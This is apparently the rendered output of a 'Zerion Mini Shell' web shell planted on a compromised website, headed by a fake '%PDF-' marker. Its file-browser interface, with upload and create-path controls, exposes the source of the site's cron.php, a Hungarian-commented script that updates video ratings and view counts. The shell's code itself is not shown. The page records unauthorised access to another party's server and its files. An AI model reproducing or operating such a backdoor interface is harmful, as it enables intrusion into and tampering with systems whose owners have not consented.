%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/ua.nails.tv/cron/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/ua.nails.tv/cron/cron.php

<?php


//require_once 'config/config.php';
require_once dirname(__FILE__).'/../config/config.php';

error_reporting(E_ALL);

$db = Db::getInstance();
Registry::set('db', $db);

//a nem torolt videok listaja
$sql = "SELECT id FROM video where storno ='f' ";

$res = $db->GetArray($sql);
foreach($res as $row){
    //ertekek frissitese
    ertekeles($row['id'], $db);
}

function ertekeles($videoId, $db){
    $where = array("osszes_"   => "", 
                    "napi_"    => "vsz.datum > (NOW() - interval 1 day) AND",
                    "heti_"    => "vsz.datum > (NOW() - interval 1 week) AND",
                    "havi_"    => "vsz.datum > (NOW() - interval 1 month) AND");
    
    $bind = array($videoId);
    foreach($where as $key => $w){
        
        //szavazatok, ertekelesek frissitese
        $sql = "SELECT count(vsz.id) as szavazat, (sum(case `vsz`.`ertek` when 1 then 1 else 0 end) / count(`vsz`.`id`)) * 100 AS `szazalek`, vsz.video_id 
                            FROM video_szavazas vsz 
                            WHERE ".$w."
                                vsz.video_id = ?
                            GROUP BY vsz.video_id";
        $res = $db->GetRow($sql, $bind);
        $ertekeles = isset($res['szazalek']) ? $res['szazalek'] : 0;
        $szavazat = isset($res['szavazat']) ? $res['szavazat'] : 0;
        $update = "UPDATE video SET " . $key . "ertekeles = ". $ertekeles .", ".$key."szavazas=".$szavazat." WHERE id = ".$videoId;
        $db->query($update);
        
        //nezettseg frissitese
        $sql = "SELECT count(id) as nezettseg FROM video_nezettseg vsz WHERE ".$w." vsz.video_id = ? GROUP BY vsz.video_id";
        $res = $db->GetRow($sql, $bind);
        $nezettseg = isset($res['nezettseg']) ? $res['nezettseg']: 0;
        $update = "UPDATE video SET ".$key."nezettseg=".$nezettseg." WHERE id=".$videoId;
        $db->query($update);
    }
}




Zerion Mini Shell 1.0